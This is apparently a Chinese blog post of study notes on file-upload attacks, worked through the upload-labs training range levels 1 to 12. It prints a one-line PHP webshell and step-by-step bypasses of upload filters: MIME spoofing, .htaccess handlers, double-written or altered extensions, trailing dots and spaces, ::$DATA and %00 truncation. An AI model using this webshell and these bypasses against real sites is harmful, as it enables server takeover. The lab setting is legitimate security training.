文件上传

文件上传
目的:获取webshell
一句话木马
<?php 
@eval($_POST['cmd']);
phpinfo();
?>
 
文件上传流程
客户端:选择发送文件->服务器接受->网站程序判断->临时文件->移动到指定程序
服务器端:接收到资源程序
 
网站常用后缀名,网站都会当成php去执行
php
php3
php5
phtml
asp
asa
cdx
cer
aspx
ashx
shtml
过滤后缀时:
1.双写绕过:pphphp
2.大小写绕过:pHP(windows系统)
 
以uploadlab靶场为例
uploadlab/Pass-01
防御:前端做限制,只能上传jgp,png,gif文件
1.在前端用要求的格式(jpg等)上传,抓包后修改后缀为php
2.在前端找到图片位置
http://192.168.223.132/uploadlab/upload/test.php
3.用蚁剑或者中国菜刀连接,密码就是POST传进去的cmd
PS:这里其实GET型也可以,但是phpinfo()数据较大,可能GET会传回来空
 
uploadlab/Pass-02
防御:MIME后端验证,没有前端弹窗
MIME: 多功能Internet邮件扩展,为了在发送文本文件时附加多媒体数据,让邮件客户程序能根据其类型进行处理,在HTML中通过Content-type来判定
方法:抓包,通过修改Content-type头为 image/jpeg 进行绕过
 
uploadlab/Pass-03
防御:过滤asp,aspx,php,jsp后缀的,并且大写转为小写,$DATA
方法:用php5作为后缀进行上传
PS:如果上传成功但是返回空,就修改php配置文件http.conf,把其中的 #AddType application/x-httpd-php .php .phtml 改为 AddType application/x-httpd-php .php5 .phtml,使可以把php5文件phtml的文件都当作php文件去解析
 
uploadlab/Pass-04
防御:过滤所有的后缀,并且大小写转换,$DATA
方法:通过.htaccess配置文件进行上传,创建一个.htacess的txt文件,里面代码的意思是将1.jpg按照php的格式去执行,上传时先上传.htacess文件,再上传1.jpg
.htaccess:.htaccess是一个纯文本文件,里面存放着Apache服务器相关的一些指令,类似于Apache的站点配置文件,只支持本目录(/upload)可以访问控制,url规则等
<Files "1.jpg">
SetHandler application/x-httpd-php
</Files>
 
 
uploadlab/Pass-05
防御:过滤后缀,.htaccess方法,$DATA
方法:用穷举的方法,只过滤了部分后缀,还有一些后缀通过大小写转换可以绕过,如.Php5
实战:抓包后,可以通过爆破,将所有可能的后缀,大小写转换,.htaccess全部放入字典,并对后缀爆破
 
uploadlab/Pass-06
防御:过滤后缀,.htaccess方法,以及转换成小写,$DATA
方法:抓包后,在后缀后面添加空格即可,如"1.php "
原理:读取文件后缀是从右往左读取的,如果遇到空格会停下,从而达到绕过的目的,也叫"00截断",但是如果访问文件的时候,windows不会解析空格
00截断:在GET型中可以直接用%00或者空格添加到后缀,但是如果是POST型,不会被URL解码,只能通过Burp修改hex值为00或者将%00进行解码,即空
 
uploadlab/Pass-07
防御:过滤后缀,.htaccess方法,转换成小写,首位去空,$DATA
方法:在php后面加点,变成"1.php."
原理:后端过滤不严格,利用windows特性,解析时自动去掉后缀最后的".",访问或者蚁剑连接时"."不影响
 
uploadlab/Pass-08
防御:过滤后缀,.htaccess方法,转换成小写,首位去空,删除末尾的点
方法:使用::$DATA连接,即上传文件1.php::$DATA,但是直接访问时需要删掉::$DATA
原理:在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名,例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
 
uploadlab/Pass-09
防御:过滤后缀,.htaccess方法,转换成小写,首位去空,删除末尾的点,以及::$DATA
方法:双写点和空格绕过,如:"1.php. ."
原理:通过抓包后的看到后端的过滤,可以发现是先去除点,再去除空,只去除一次,所以我们再加一个点,就可以绕过,
 
uploadlab/Pass-10
防御:过滤敏感词汇
方法:发现过滤敏感,如php等,会被直接删掉,所以反复尝试双写绕过,可以用"1.pphphp"进行绕过
 
uploadlab/Pass-11
防御:在后端对文件上传的类型进行限制
方法:通过抓包发现可以修改保存路径,所以先修改文件类型为jpg格式,但把保存路径设置为1.php,发现还是不行,就在后面用%00进行绕过,得到保存路径
 
uploadlab/Pass-12
防御:在后端对文件上传的类型进行限制
方法:和Pass-11一样修改jpg,修改保存路径为1.php%00,但是发现不行,原因是11是GET传参,但是POST传参不会编码URL,所以需要将%00解码,即空
 
 
 
posted @ 2021-12-15 21:09  icui4cu  阅读(121)  评论(0)    收藏  举报